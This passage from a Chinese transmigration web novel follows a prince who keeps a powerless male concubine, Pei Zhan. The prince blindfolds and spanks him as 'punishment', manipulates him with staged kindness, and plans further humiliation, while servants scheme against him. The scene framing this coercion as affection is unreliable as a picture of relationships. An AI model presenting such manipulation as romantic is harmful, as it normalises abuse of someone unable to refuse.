但嵇燕台看得明白,他折了裴湛的身子,没能折辱了他的心。那人看似体面全无,低贱到了尘埃里,心里却始终藏着一口气。 这几个月,两个人皆是揣着明白装糊涂,肌肤相亲了一次又一次,唇齿相接,交换的全是虚情假意,做不得数。 还是那句话。 那人嘴上尊重,心里不知道怎么恶心呢。 嵇燕台享受够了裴湛的逢迎,身子摸透了,少不得想要把玩他那颗藏得严严实实的心,反正他一个闲散王爷,也不必忙于政事。 弄小老婆多有意思啊。 还能顺带完成任务。 正因如此,他才对裴允书的夜惊之症多了一份心。可这份心可不是没由来的,需要裴湛用自己来偿还。 他要价可不菲。 有道是,一个做了千百件善事的大好人,哪怕是不慎犯下一次恶,就会指着鼻子骂伪善,过往功绩一笔勾销。 反之,一个坏人呢? 只要他稍稍展露出非恶的一面,人们便会忍不住惊叹‘或许他没那么坏”′…… 嵇燕台先前没有收敛心性,给裴湛的下马威太狠,使得他的心理预期过低,那些让人不堪的房事勾不出太多屈辱。 老实说,裴湛所表现出的所有恭顺迎合,嵇燕台很受用,但这不妨碍他认为—自己应该把裴湛的心理预期拉高一点。 起码让他觉得‘岭南王′偶尔还有一丝温情。 简单来说,就是给裴湛下饵。 只是裴湛也不是什么呆头鱼,嵇燕台不信他是不小心被自己发现在门外偷听的,更像是一步步确认自己对他的容忍度。 对此,嵇燕台已经有了主意 …. 不多时,廊下的人影不见了。 皎白的光随着两人一道进了主屋,房门无声合拢,将其无情驱逐,掩藏了里头的光景。 寝室内很安静。 烛光微亮,屋中一片暖色。 嵇燕台走到床边坐下,姿态少了两分往日的闲适,反倒有些掩不住的气恼,“呵……你们这一大一小,可真是一个模子刻出来的。” “都不大听话。” 他冷哼一声,捏起贴在腹部的寝衣下摆,“本王一片好心,让你先回屋歇着,你却充耳不闻,杵在外头听墙角,至于另一个小的么…….他抖了抖那块湿漉漉的布料, “瞧瞧?” 听起来像是迁怒。 裴湛如今也算摸出岭南王的一二分脾性,知道他不耐烦听人告罪求饶,便沉默地取出一套干净的里衣,快步返回床边。 “我为王爷更衣。” 嵇燕台坐在床边,纹丝不动。 裴湛已然习惯他这幅姿容。 岭南王有一个习惯。 但凡宿在此屋,便要自己亲手伺候他起居。 因此,裴湛熟练地屈下膝,在床边脚踏半蹲半跪,开始褪男人身上的衣衫。 有一瞬,裴湛晃了神。 岭南王总爱将他搂在怀中,温声细语地夸他贤惠贴心,连贴身丫鬟都不及他心细妥帖,还能与其床笫嬉闹,好不快活。 句句在夸,字字在笑。 看似雨露恩赐,实则雷霆威慑。 此刻,岭南王却不看他,只板着一张脸,几次说话也像是找茬一般,不大客气。 裴湛敛着眸,将换下来的衣袍放到一边,正要为男人换上干净里衣,不曾想对方忽然抬手,猛地攥住了他的手腕。 “不着急。” 两人离得太近了。 岭南王刚一俯身,裴湛便嗅见他沐浴后留下的淡淡幽香,以及一丝压迫性的热意。 下一瞬。 男人的声音在他头顶响起, “允书年幼不懂事,本王不怪罪。” 紧接着,岭南王长叹一口气,“本王痴长你许多岁,又是你的丈夫,本该对你多多包容,只是对你骄纵太过,恐怕让你丢了规矩,为人丈夫的,自当负担起教导幼妻的责任?” “你说,是也不是?” 屋中寂静片刻。 裴湛低声道:“…谨遵王爷教诲。” 听到这话,岭南王这才笑了一声,随即伸手抚过他的下颌,裴湛被迫仰起头,与其对视,就听男人的语气陡然一转, “都说子不教,父之过,如今小允书只剩下你这个至亲,若你不能以身作则,做好榜样,日后孩儿岂不是要长歪了?” “所以,此风不可长,必须重罚。” “你认不认?” 裴湛心知,岭南王自觉失了脸面,今夜大抵是睡不得了,只是他上半夜已经被….了两三回,身上还酸着。 索性这身子被岭南王用透了 ……早就习惯了。 嵇燕台装模作样地问道,看似在征求当事人的同意,心中却明白裴湛不会给出第二个答案。 两人从不平等。 裴湛没有说不’的资格。 事情果然如他所想。 裴湛没有表露出半点不服气或抗拒,只轻轻应了声,“是裴湛行事僭越,自是任凭王爷责罚,小惩大诫。” 嵇燕台得了回话,状似欣慰地笑了笑,还道貌岸然地夸赞道:“你有这个心,本王便知道不曾爱错了你。” 说完,就开始给裴湛做规矩。 嵇燕台抬手,抽下裴湛束发的发带,然后用这条丝绸发带蒙住了他的双眼,在他脑后打了一个不松不紧的结。 黑暗骤然降临。 裴湛的视线被剥夺了。 “去,床上跪好。” 岭南王仍是那腔温柔随性的语调,还不忘对他解释一句,“本该在更加庄重的地方惩治你,只是天色这样晚,不免惊动了下人,若是教底下人知道了这件事…” “怕你颜面上挂不住。” 听着这番温言细语,裴湛心下一冷。 他就这么摸索着,爬上床榻,宛如男人脚边的爱宠,随即以一种屈辱至极,又毫无防备的姿态跪伏下来。 时间在黑暗中变得格外漫长。 每一息都像是在油锅上煎熬。 尤其是床褥沁满了那股挥之不去的幽香,使人不由自主地忆起这榻上发生过的一桩桩一件件。 裴湛的呼吸下意识地急促了两分。 不知过了多久。 裴湛只觉得身后一凉,有什么滑落至膝间,紧接着一阵凉风扑过来— “啪!” 响声清脆。 肌肤泛起一阵火辣辣的刺痛。 岭南王的声音紧随其后,平静无波,仿佛在计数一件寻常物品,“一。” 裴湛闷哼一声,咬住了下唇。 电光火石之间,他想起岭南王在侧屋里对幼童说的话,又听头顶降下那人的嗓音,“为夫不忍心用戒尺,只好以掌替之,需得数到一百个数,你忍着些。” “下次再犯,我便当着孩儿的面罚你了。” 裴湛将额头重重压在锦被上,从齿缝里挤出低哑的声音:“是,裴湛日后必定自身作则。” 他闭着眼,等待第二道的责打落下。 但预想中的疼痛并未到来。 又是一声脆响落在相同的位置,只是力道似乎比第一下还轻了些。 “.…一百。” 还没等裴湛反应过来,一阵天旋地转的失重感猛地传来,男人的手臂揽住了他的腰,将他整个人捞起来,带着他在宽大的床榻上滚了半圈。 转瞬间,裴湛仰面陷入柔软的锦被。 发带仍遮着他的眼,但视觉的剥夺让触感更加清晰,裴湛能感受到岭南王正覆在自己身上,手指抚过他被扇打的地方,摩挲着那点微痛。像是在安抚。 “哎,湛湛……” 男人轻声叹道,凑过来贴着他的唇瓣,半是怜惜,半是恨铁不成钢地质问道:“才两下,你就受不住了,抖得跟什么似的。” “我如何继续罚你?” 裴湛屏着息,手脚轻轻挣扎,想要离开男人的搂抱,恢复成原来的跪姿,并哑声道:“我不碍事的。” “好了,不动了 岭南王一边在他额角连连轻吻,一边拆解他脑后的发带结。裴湛紧闭着眼,连忙将脑袋撇向另一边,不教男人瞧见。 嵇燕台眼多尖呀。 他抬掌抚着裴湛的脸,将裴湛的脑袋抱进自己怀里,连声叹气,“哎,你们叔侄俩还真是一模一样…….” “我的心就这样狠么?” 说着,嵇燕台牵起裴湛的手,按在自己未着衣的心口处,“我的心,也是肉做的啊。” “今晚罚完了,事情已经过去了。” “睡吧。” 闻言,裴湛慢慢缩起身子。 他觉得自己身上、男人身上、乃至床榻的每一处都弥漫着那股香气。 不知怎的,裴湛忽然想起年幼时读过的一篇文章,里头讲了一位经验老道的御兽师,是如何驯服猛禽烈鹰的,需耐心,要惩治,还得拿些好肉吊着脾胃。 最后一个步骤,是将烈鹰放飞。 当主人吹响哨子,烈鹰还能闻声飞回,这鹰才算是训成了,能用了。 裴湛时常有一种感觉,自己似乎就是被岭南王驯的那只鹰,时而哄一哄,时而责骂一番,来来去去,飞不出他的手掌心。 就像现在。 他已经学会了如何装出一副令人作呕的柔弱模样,向男人摇尾乞怜,借此躲避惩戒,或是达成其他目的。 但岭南王不是一个好糊弄的人,往往将他欺压到极限才收手,偶尔心情大好,才佯装心疼地让他一两分……裴湛以为岭南王今晚不会停手。 掌心下,是沉稳有力的心跳。 裴湛强迫自己缩进男人的怀中,闭上眼睛,在那股幽香中缓缓陷入浅眠。 梦中是一片清朗天。 周遭是无数双眼睛,他被人牵制在堂下,身上凉飕飕的,岭南王捉着他扇打, “一、二、三……数到一百。天大亮了。裴湛猛地睁开双眼,正要起身,就发现床榻上只剩自己一人了,枕边之人已然不见踪影,而梦里被惩治了一宿的地方,却传来一丝凉意。有人给他上了药。 “啪!” 281、Chapter 281 晨光穿透窗纱,映亮内室。 裴湛醒来后的第一件事,便是伸手摸了摸旁边的枕头被褥,发现已经没了温度,证明岭南王离开一段时间了。 他竟一无所觉。 正是这个动作,让裴湛发现自己的腕间系着那条素色的发带,扎成一个精致的结。 出自何人之手,不做他想。 裴湛随手一扯,那结便散落下来了。 他将发带弃在枕畔,撑着身体坐起来,锦被一下子落到腰间,两条修长的小腿露在外头,踝骨上方那枚咬痕还没消退…… 裴湛默了默,将脚藏回被子里。 与此同时。 他发现屏风那头的木架上已经备好了水盆和青盐,干净衣裳搭挂在另一侧,便敛去眸中复杂的情绪,起身更衣洗漱。 倏然,外间传来轻微的响动。 丫鬟守在外间,语气恭敬道:“侍君,早膳备好了,王爷和小公子已在膳厅用着了 裴湛愣了一瞬,不自觉加快了动作。 “知道了。”他应道. …… 院中,膳厅。 嵇燕台坐在主位,正端着一碗鱼片粥,慢条斯理地用着,仪态里透着贵气。 他的对面,裴允书神情空茫,规规矩矩地坐在高凳上,手里捏着一柄勺子,却许久没有往嘴里送膳食。 那双黑黝黑黝的眼,落在男人身上。 嵇燕台抬眸,瞥过去一眼,顺势提筷往他的碗碟里夹了一筷子青笋丝,“吃你的。” 裴湛就是在这时候进来的。 听到脚步声,嵇燕台才刚收回筷子。 他在来人身上逡巡片刻,嘴角勾起一抹戏谑的弧度,故意冲裴允书调侃道:“小叔来迟了,他不乖,怎么都叫不起呢,还没有小允书懂事。” 裴允书仰起脸,看看对面的男人,又看看走进来的至亲,小脑袋慢半拍地摇了摇,像是在否定嵇燕台对裴湛的调笑。 闻言,裴湛脚步微顿。 他告了声罪,刚在岭南王下首落座,手边就多了一碗热腾腾的鱼片粥。 男人笑着说:“喏,多用些。” 随即,他压低声音,意有所指地宽慰道:“昨晚…….苦了。” 嗓音不大,但桌上的人都能听见。 裴湛心下一跳,飞快地扫了一眼裴允书,恍然撞进侄儿呆愣且纯真的目光,手指不自觉收紧了。 他的父母恩爱,兄长与长嫂亦是情投意合,房里都没有其他人,裴允书自幼耳濡目染,是以在进入王府后,裴湛不忍说出真情,只说自己嫁与了岭南王。 裴允书年幼懵懂,不知其中内情。 他唯恐岭南王还要说什么不着调的话,连忙投出一个隐晦且略带祈求的眼神,就见男人的眸中闪过一丝笑意,慢悠悠地补充了一句, “昨晚照顾小允书辛苦了,本王心疼。” 裴湛:“.… 他垂下眸子,被汤粥扑了满脸热气,心中悄然松了一口气。 用完早膳后。 嵇燕台仍旧没有离开,反而当着裴湛的面,将裴允书带到自己身前,俯身问道: “小允书,你还记不记得叔父之前说过,你若夜里乖乖睡觉,不吵闹,叔父便给你奖励?” 裴允书呆呆地看着他,没做出反应。 裴湛倒是先步想起来了。 那天,是岭南王第一次入后院,要了他。 嵇燕台余光瞥见身边人的神情,心情很好地等着,等到裴允书迟缓地点了点头,才接着道:“但你那天没有做到,又哭了对不对?” “不过呢,叔父昨晚发现…….” 嵇燕台自顾自地往下说着,衣袖忽然被一只稚嫩的小手拽住了,裴允书冲他眨了眨眼,空洞的眸子有一瞬的游移。 “呵。” 嵇燕台笑了笑,又拍了两下他的头顶,“昨晚你很乖,所以叔父很满意,把奖励准备好了,你要不要去看看?” 裴允书不会说话。 于是,裴湛替他道了谢。 待侍女牵着裴允书走出膳厅,嵇燕台心情颇好地站起身,声音带着点赞许,“本王喜欢有孝心的好孩子。” 说着,他也牵着裴湛往外走。 今儿的天气晴朗极了。 后花园的凉亭石桌上,摆了一壶清茶和几盘精致的饭后糕点。裴湛又带着裴允书喂鱼,嵇燕台则饮着热茶,在旁围观。 裴湛弓着腰,长发滑落在肩侧。 裴允书站在他身前,手里捏着半块糕点。 看到水面鱼群围聚后,他抬头看向裴湛,虽不曾发出只言片语,神情也不大变动,意思却很清明。 裴湛冲他笑笑,问:“还喂吗?” 忽然间,裴允书像是看到了什么,伸出食指在他的颈侧摸了一下,嵇燕台就听见裴湛有些磕绊地解释道:“.…这几日蚊子闹得凶,咬的。” 嵇燕台放下茶盏,笑出声。 裴湛下意识回头看了他一眼,嵇燕台刻意闭紧嘴巴,学着裴允书的模样,冲那人眨了眨眼睛。 裴湛收回视线,不言语。 不一会儿。 仆从提着一个用黑布蒙得严严实实的笼子,直奔凉亭。 见此情景,嵇燕台悠然起身,站到裴湛身后,鼓动着小孩儿, “去,把那块黑布掀开。” 裴允书看了看手里的糕点,又看了看神秘的笼子,有些迟疑。 见男人冲自己伸出手,他迟疑地将糕点送了过去。 嵇燕台转眼就将它塞到裴湛的手心里,然后大掌包着他的手,将糕点扔出去。他真真假假地说着,“那天……我在廊下远远瞧见你与小允书一同喂鱼,心里莫名欢喜得很。”“你说,本王这是怎么了?”话罢,裴湛微微挣扎了一下。嵇燕台瞥下眼,就见裴允书仍站在一旁,仰着张小脸,直愣愣地盯着两个人看。他不松手,反而揽住裴湛的腰,低声训道:“小叔跟叔父恩爱,你瞧什么?”说是训,话里却满是笑意。嵇燕台见好就收,佯装自己没有发现裴湛染上一丝薄红的耳垂,亲自领着小孩儿走到笼子前,又催促一声,“掀开,奖励就在里头。”裴允书看看他,慢半拍地伸出手。黑布滑落。就见笼子里,躺着一只通体雪白蓬松的松狮幼犬,宛如天边一团柔软的云絮。它四脚朝天,呼呼大睡,肚皮鼓鼓囊囊,随着呼吸一起一伏。光线惊扰了小家伙的美梦。它哼唧着翻了个身,忽然睁开了湿漉漉的黑眼睛,一个飞扑,人立在笼壁上,兴奋地伸出粉嫩的小舌头,想要去舔裴允书笼外的手。“汪、汪汪!”裴允书吓了一跳。 他后退一步,撞到嵇燕台的小腿上。 嵇燕台大手一伸,直接拉开了笼门,捏住松狮幼犬的后颈皮,轻轻一提,将这团毛茸茸塞进了小孩儿的怀里。 “呜…….!” 松狮幼犬懵了一下,随即欢快地扭动尾巴,微凉的鼻头在裴允书的下巴乱拱。 裴允书脸上终于有了一丝鲜活的表情,他看起来有些慌乱,一边扭脸躲避,一边将这团温热柔软的小生命抱得更紧了。 松狮幼犬则在他怀里打了个滚。 嵇燕台后退几步,坐回石桌边,“给它取一个名字,它就是你的了。” 裴允书愣了片刻,才抱着幼犬上前,小心翼翼地沾湿手指,在光滑的桌面上一笔一划地写下了两个字。 —大福。 字迹稚嫩,但结构端正 … 一段时间过去。 裴允书的情况有所好转。 他仍会夜惊,但刚哭几声,那只名为大福的松狮幼犬便会跳上床,一下下舔去小主人的泪水,再加上嵇燕台教给他的入睡冥想,让他能够抱着幼犬安然睡去,不必再伪装。 隔三差五,嵇燕台还会单独跟他说会儿话。 季节缓慢流转。 后花园里的花逐渐失了颜色。 入了冬。 欺风小院的夜彻底安静下来了。 侧屋安宁,主屋却愈发热闹。 这晚,嵇燕台叫了水,将人抱进了浴桶里,然后用下巴蹭了蹭裴湛的发顶,得意道:“如何?本王没骗你吧?就说本王能治好他的夜惊之症吧。” 现代心理学科的含金量,谁懂? 裴湛靠着男人的胸膛,浑身酸软无力,嗓音有些哑,“多谢王爷对允书的爱护之心。” 嵇燕台收紧手臂,另一手抚过他的侧脸,使他回首后望,与其四目相对许久,“哪里是允书的缘故,本王不过是……” “爱屋及乌罢了。” 水声起落。 嵇燕台拎起他的右手,微微颔首,唇瓣在那条横疤落下数个吻,叹息般低语, “可惜那些医师都是庸才,对你的手伤无能为力,不过你放心,本王听闻民间有一神医,或许他能……. 后面的话被堵了回来。 裴湛主动献了个吻。 这吻极深。 他闭着眼,双手攀上岭南王的脖颈,脑中浮现男人那双深不见底的眸子,带着笑时,眉眼风流目情深,只是他见过父母与兄嫂的情意,怎能分不清是真是假? 可岭南王近日待他的好、待允书的好,却并非作假,床榻间也不似过往折辱,反倒多了两分呵护之意。 …….这身子,就这样好? 裴湛冷冷地想着。 吻毕。 嵇燕台呼吸渐深,忽闻裴湛低语,“听闻王爷寿辰将近,裴湛身无长物,实在无以为报,只好为王爷的生辰宴出些力气,不知可否?” 他被吹了一耳朵枕头风,笑而不语。 “你从哪儿听来的?” 裴湛靠在他颈侧,应道:“听刘嬷嬷说的,她往院里送了好些料子,予我裁制新衣,待到宴席上也叫王爷瞧瞧……” 嵇燕台拉长尾音,哦了一声。 他抬手,碾着裴湛的唇,问:“乖乖,你这是想为本王当家做主了?” 裴湛抬着眼,将男人的指腹纳入唇中。 嵇燕台搂着人,忍不住哈哈大笑,最后将额头抵在裴湛的肩头,乐不可支地道:“既然如此,切莫教本王失望。” 翌日,午前。 嵇燕台将岭南王府总库的钥匙,以及总账本送到了裴湛的屋里。 账本里,还夹了一张他的亲笔信笺。 282、Chapter 282 嵇燕台在想— 当裴湛看到信笺时,脸上是什么表情。 书房内,暖炉烧得正旺,驱散了窗外初冬的寒意。紫檀木大案上,刚磨好的墨散发出淡香,正中央摊着一张蚕丝金箔纸,亦是难得的珍品。 可惜边缘被裁去一片,格外突兀。 嵇燕台搁下笔,回忆着方才自己在纸上勾勒出的那一幅人物小画。 画中人没有五官,只露出一段清瘦流畅的脊背线条,长发散乱铺陈在枕上,蜷缩的姿态隐约带着一分脆弱的防备。 锦被遮掩了春光。 只是画中人的耳侧、肩背、腰间,被嵇燕台用浅薄的赤色墨水,错落点缀着一朵朵红梅,宛如雪中卧梅,好一番冬景风光。 正是裴湛今晨的睡颜。 嵇燕台画完了,裁下来,对窗观赏片刻。 嗯。形似,神也似。 本王好棒棒。 待墨痕干透了,他取出一个信封,郑重其事地将小画塞了进去,还取出火漆和私印封了口,最后将其夹在账本中,一同送了出去。 刘嬷嬷去了有一会儿了。 那残片信笺大概已经送到裴湛的手中。 不过,依着裴湛的性子,决计不会在人前拆开信笺……如此想着,嵇燕台笑了笑,优哉游哉地坐回了椅中,视线掠过自己这具身体。 满打满算,他穿来已有四个月了。 季节已从夏末到初冬,天气一冷,嵇燕台就不想动弹,只想躺平咸鱼,幸而他在裴湛身上勤耕不辍 的成果很是显著。 身上那些碍眼的软肉早已消失无踪,紧实的腰腹线条清晰可见,八块腹肌虽非虬结贲张,却也壁垒分明,充满力量感。 对此,嵇燕台颇为满意。 就在这时。 门外传来刘嬷麽的声音。 嵇燕台收回思绪,懒懒应声, “进。“ 刘嬷麽躬身入内,语气是一如既往的恭敬,还带了些笑,“王爷,老奴前来回话,东西皆交由裴侍君手中了。” “嬷嬷办事,本王放心。” 话毕,刘嬷嬷稍抬脸,慈善的脸上生出一两分迟疑之色。 嵇燕台歪在椅子上,对这位王府老人说话的语气很和气,“嬷嬷还有什么事要禀告?” 刘嬷嬷又垂下头,声音听起来有些忐忑,“回王爷,老奴掌管王府内务多年,一心伺候主子,不曾有过他念,有些话本不该老奴来说……”. 嵇燕台点点头,温声道:“本王晓得。” “嬷嬷有什么话,直说便是。” 老妇人顿了顿,像是终于忍不住,语气里带着真切的担忧,“王爷,您的寿诞就在十日之后,府中上下都要打点,宾客名单、宴席规制、采买布置等等…” “这桩桩件件都马虎不得啊!” “裴侍君他 毕竟是男子,瞧着又冷冷淡淡的,于这内务琐事,怕是一时难以周全。老奴是担心,万一出了岔子,耽搁了王爷的干秋寿宴,那可如何是好?”这番话说得情真意切,字字肺腑。 嵇燕台倒不担心这件事。 毕竟裴湛的母亲乃是江南巨贾之女,耳濡目染之下,他对内务绝非门外汉,不至于连一场生辰宴都办砸了。 除非…… 有人欺他,暗中使绊子。 嵇燕台冲刘嬷露出一丝略带安抚的笑,先给人喂了一颗定心丸,“嬷嬷的担忧,本王明白。你为王府操劳多年,劳苦功高,本王看在眼里,也记在心里。” 他举起茶盏,叹了口气, “只是裴侍君一心要为本王效劳,本王怎好拂了枕边人的心意?若真出了什么岔子,不是还有嬷嬷在吗?” 嵇燕台顿了顿,目光落在刘嬷嬷的身上,轻描淡写道:“裴侍君年少,还需你多多担待,从旁指点一二,莫让王府失了脸面才是。” 主仆二人一派和气,推心置腹。 片刻后。 刘嬷嬷退出了书房。 刚走下台阶,候在廊下的心腹婢女桐花立刻迎了上来。刘嬷嬷脸上那副恭顺担忧的神情已然隐去了,面沉如水。 “嬷…. 桐花见她脸色不对,小心唤道。 回了屋,刘嫩嬷才低声道“我刘氏是王爷的乳娘,在这王府几十年,没有功劳也有苦劳!他一个入府不足半年的男妾,被潦草抬进府里,又冷了足足一个月 “ “我还以为是个傻的呢。” “谁知道不过两三个月,他竟能让王爷越过我去,执掌内务?”她接过桐花递过来的热茶,暗骂一句,“面上冷冷清清,不争不抢,没成想竟是个狐媚子!” “怪不得王爷只将他抬进府,给了名分!” “嬷嬷消消气,”桐花搀着她的手臂,低声劝慰,“谁不知道整个王府中,王爷最信重的便是您呀?” 话音刚落。 刘嬷麽似乎想到了什么,心中怒气顿平,浑浊的老眼闪过一丝精光,“这倒是,王爷对裴侍君还新鲜着,不愿与他生嫌隙,这是借我的手,在敲打他呢。” “我自然要为王爷分忧,替他压压裴侍君的性子,省得他得意忘形,捅出篓子来。” 桐花见刘嬷嬷想通了,忙应声:“正是这个道理,王爷有嬷嬷分忧,奴婢得嬷嬷器重,自然也要尽心尽力。” 刘嬷麽瞟她一眼。 见状,桐花笑着凑近她耳边,用气声飞快地低语了几句,“奴婢有个一劳永逸’的法子,讲予嬷嬷听…… 刘嬷麽听完,眼睛猛地一亮, “当真?” 桐花点点头,语气斩钉截铁,“千真万确,错不了的!” 刘嬷麽脸上的阴霾瞬间一扫而空,她拍了拍桐花的手,“既然如此,这事儿你得亲自去办,务必办得妥当些,隐秘些。” “是,嬷嬷放心。” 桐花领了命,匆匆离去 … 啧。 三十岁,而立之年。 前后经历过两个系统,嵇燕台对岁数这件事已经淡然了,整个王府为他的寿辰忙前忙后,他却很不放在心上。 甩手掌柜好当,有的是人做事。 就是苦了裴湛。 白日里,他要梳理账册,清点往年礼单和库房里的物件,左手的字迹虽不如右手的好,用来算账却也够用了。 入了夜,还要伺候人。 嵇燕台可不会委屈自己。 该吃吃,该喝喝,怎么爽怎么来。 才两日的光阴,裴湛便受不住了。 屋里,嵇燕台歪在软榻上吃茶水,手里捏着一卷话本子,见那人左手提着笔,很隐晦地打了个哈欠,笑吟吟地唤了声, “困了?” “要不要来本王怀里小憩片刻?” 闻言,裴湛侧首回望。 午后时分,日头还算明朗。 淡暖的光线透过窗棂,将屏风的镂空刻纹映在地上,飞鸟振翅,栩栩如生。 岭南王单手支着脑袋,话本子已然扔到了榻上小几上,另一只手冲自己招了招,几缕碎光扑在他手心里,晃着人的眼。 裴湛:“…不必,多谢王爷的好意。” 男人原是裤子一提便走,如今却习惯了留在他屋中消遣,床榻,桌案,屏风,裴湛环视一圈屋中各地,记不清哪一处还清白着。 嵇燕台见他腰后塞着一个厚厚的垫子,不知想了什么,忽而敛眸蹙眉,神情有些不自在,便主动交代道:“我不弄你。” “过来,让我抱抱。” 嵇燕台在皇帝养成系统那儿累死累活,到了扮演系统这儿,终于知晓了何谓 温柔乡,自是乐不思蜀,一时半会儿没个腻。无论裴湛心里如何想,表现得倒是知情识趣。 见他缓慢起身,向自己走来,嵇燕台稍稍坐正了些,将人搂在怀里,语气亲热地逗他,“真的不困吗?瞧你眼下都青黑了。”裴湛默然不语。 他将脑袋偏向一边,盯着地上那块光斑,冷不丁想起先前在坊间的一则听闻,都说岭南王年少时遭毒药坏了身子,不能人道……着实不可信。 嵇燕台瞧他敛着眸,抬手撩了撩他的睫毛,故意问他,“前日,本王交予你一封信笺,你看过没有?” 听到这话,裴湛更不想开口了。 偏偏这事也由不得他。 他闭着眼,任由那根指头在眼睫处撩出一阵微弱的痒意,很轻地应了一声,“嗯。“ 嵇燕台笑了笑,又问:“画得好不好?” 裴湛:“…好。” 嵇燕台追问:“有多好?” 怎料怀中那人默了默,不答,声量更低地说了句,“王爷,裴湛困倦交加,可否暂歇片刻?” 嵇燕台懂了。 裴湛是个正经人。 不愿在这青天白日间,跟自己聊。 嵇燕台本还想逗他两句,脖间忽然多了两条胳膊,裴湛倚在他的肩窝处,双臂环着他,一副困得说不出话的模样….… 怪不得上辈子那些老中小登都喜欢往后宫,后院里钻呢。 裴湛也是个人物,被他睡了个把月,居然把他的癖好摸得大差不差了,知道何种情态能挑起他的怜惜。 这谁能不迷糊啊? 嵇燕台微微颔首,很满意裴湛带来的体验感。 正所谓投我以桃,报之以李’,在他预计的折辱任务点来临之前,嵇燕台不介意对裴湛多两分体贴,也不枉费这一番迎合。 毕竟在那之后,裴湛指不定什么反应了。 总归是不会像现在这般,靠在他怀里浅眠。 裴湛是真的睡着了。 尽管他心中抵触,可这幅身体已经习惯了男人的亲近,再加上整个人被他抱着,温热的呼吸拂着后颈,那股困意抑制不住…… 醒来时,日头更斜两分。 裴湛躺在软榻里侧,恍惚一瞬,抬眼便瞥见岭南王叼着一枚软软糯糯的糕点,神情专注地盯着手中的话本子。 想来,又是那些不堪入目的香艳故事吧。 这道心绪刚一划过,裴湛便瞧见书页上晃过一段话。他自幼博览群书,并不拘泥于科考,一下子就认出这段话的出处。 ……竟是一篇名家游记。 岭南王踏入这间屋子,便是冲着那事去的,这还是两人首次在白日里呆在一处,且衣衫还好好地穿在身上。 也是难得。 裴湛怕自己一出声,又引来对方的调弄,一时间没敢开口,就见男人叼着那糕点,一侧面颊微鼓起来,翻页的那只手捏着书角,时而来回翻折,时而将其撵成一个卷。 好好的书角,被揉得不成样子 … 翻到最后一页,嵇燕台抄起茶水,润了润吃噎了的喉咙,含笑问道:“湛湛,你看够了没?” 裴湛像是做错了事,猛地闭上眼。 作者有话说 裴湛像是做错了事,猛地闭上眼。 283、Chapter 283 裴湛一醒,嵇燕台就发现了。 倒不是他后脑勺多长了一对眼睛,而是裴湛睡醒时惯有一个小动作,怕是他自己也不清楚,反让嵇燕台这个枕边人瞧得一清二楚。 ——他会下意识地缩一下脚。 嵇燕台还挺爱戏弄他那双脚的。 形状好看,白白嫩嫩。 绷紧时,足弓的线条格外流畅,骨感至极,脚踝内侧还坠着一小块胎记,不足指盖大小,颜色有些淡,是浅浅的红褐色。 形状有点像一个小爱心。 有趣着呢。 嵇燕台玩着好,还赐予他一盒价值千金的特制香膏,每晚睡前涂抹于双足,能让肌肤更加白皙细嫩,更似玉瓷。 更能取悦于他。 嵇燕台饮了半盏茶,还剩半盏。 他亲亲热热地将裴湛搂进怀里,半坐起来,那人一时不察,有些被惊到,不小心蹭到小几,琥珀色的茶汤在白瓷杯里轻轻晃,好悬没扣倒在榻上。 “闭眼做什么?” 嵇燕台揽着他的腰背,轻声笑问:“莫不是本王生得丑陋,吓着你了?” 裴湛睁眼,摇头,“王爷英俊非凡。“ 下一瞬。 门外忽响起了侍女的通传声。 “王爷,裴侍君,裁缝房的人来了,说是冬衣已经裁好了,还请主子上身试一试,若有不合身之处,也好拿回去让绣娘们修改。“裴湛几不可察地松了一口气。嵇燕台松了人,应道:“进来。”话音刚落,内室的门被推开。桐花领着几个侍女和绣娘走了进来,侍女皆手捧华服,脑袋微垂,她站在最前头,脸上带着恰到好处的恭敬笑容,“给王爷、侍君请安。”“新制的冬衣都在这儿了,请侍君过目。” 作为王府主人,嵇燕台是第一优先级,不管他穿不穿,每一季的衣服都是按时做的,用料最是珍贵,早就送到他房里了。 其次,才轮到裴湛。 侍女们凝神静气,站成一排,将新衣高举,充当展示衣袍的人架子。 嵇燕台闲得无聊,从榻上起身,踱步到那些华服前,目光挑剔地——逡巡而过,最终落在一件素白色的锦袍上。 那袍子用的是当下最时兴的浮光锦,在光线下泛着珍珠般的光泽,里头布了一层细绒,领口和袖口则密密地镶滚了一圈蓬松的白狐皮毛,瞧着很是华贵。 都说人要俏,一身孝。 嵇燕台觉得这话也不是没有道理的。 于是,他半回身,冲裴湛勾勾手,“往日都是你伺候本王更衣,今日难得清闲,本王也伺候你一回罢。” 此言一出,不仅桐花等婢女眼中闪过惊异,连裴湛也微微一怔,嵇燕台却已不由分说,将人带到了自己身前。 屋里人太多,裴湛有些放不开。 嵇燕台熟练地给他宽衣解带,剥掉了外衣,然后将新衣套了上去,又催着裴湛转两圈,让自己看个仔细。 狐毛柔软,贴着他的颈侧和手腕。 袍身剪裁极为合体,不显得臃肿,收腰的设计更是恰到好处地勾勒出裴湛挺拔的身姿。 素色清雅,衬得他君子如玉,再加上那圈雪白的狐毛,更显得他气质出尘,矜贵得不可方物。 嵇燕台上下打量着,很满意。 “好看。” 古代版的奇迹湛湛。 他亲手为裴湛整理了一下领口的狐毛,眉头一蹙,忽而抚着自己的下巴,沉思道:“感觉少了点什么啊…… 他的指尖若有似无地擦过裴湛的耳尖,恍然大悟,扭脸冲绣娘吩咐道:“再用狐皮料子,制一对耳朵和一根尾巴,图纸我会命人送过去。” “是。”绣娘飞快应道。 裴湛察觉到屋中侍女在惊诧之下,下意识投来的隐晦视线,面皮猛地烧起来,偏偏岭南王还用赞赏的语气说着, “这件最好。” “本王寿宴那日,你就穿它,如何?” 裴湛起初也觉得受辱,可岭南王屋里的物件皆是那般不堪入目,却堂而皇之地摆出来……. 无论如何,裴湛都做不到像岭南王那样,对房中之事无比坦然。 他撇开脸,盯着屋内一角, …好。” 又试了其他衣服,时间耗费许多。 嵇燕台过足了奇迹湛湛的瘾,还是觉得那套嵌着白狐毛的袍子最让人食指大动,便让侍女将其收起来,好生打理。 桐花指挥着侍女,将要裁改的两件衣裳单独分出来,刚出内屋,嵇燕台便听到她压低声音,呵斥道:“你怎么毛手毛脚的?若是勾损了新衣,仔细你的皮!” “桐花姐妇姐……. “算了,你拿给我,做事这样不小心!” … 嵇燕台微微笑着,瞥见那人脸上还未消下去的薄粉,正想揶揄一两句,就听到外头隐约传来几声稚嫩的犬吠。 是大福的叫声。 这也就意味着裴允书的踪迹。 自从嵇燕台将这活生生的奖励赐给他,裴允书便跟大福形影不离,好得能穿同一条裤子了。 果不其然。 门外传来侍女的通报。 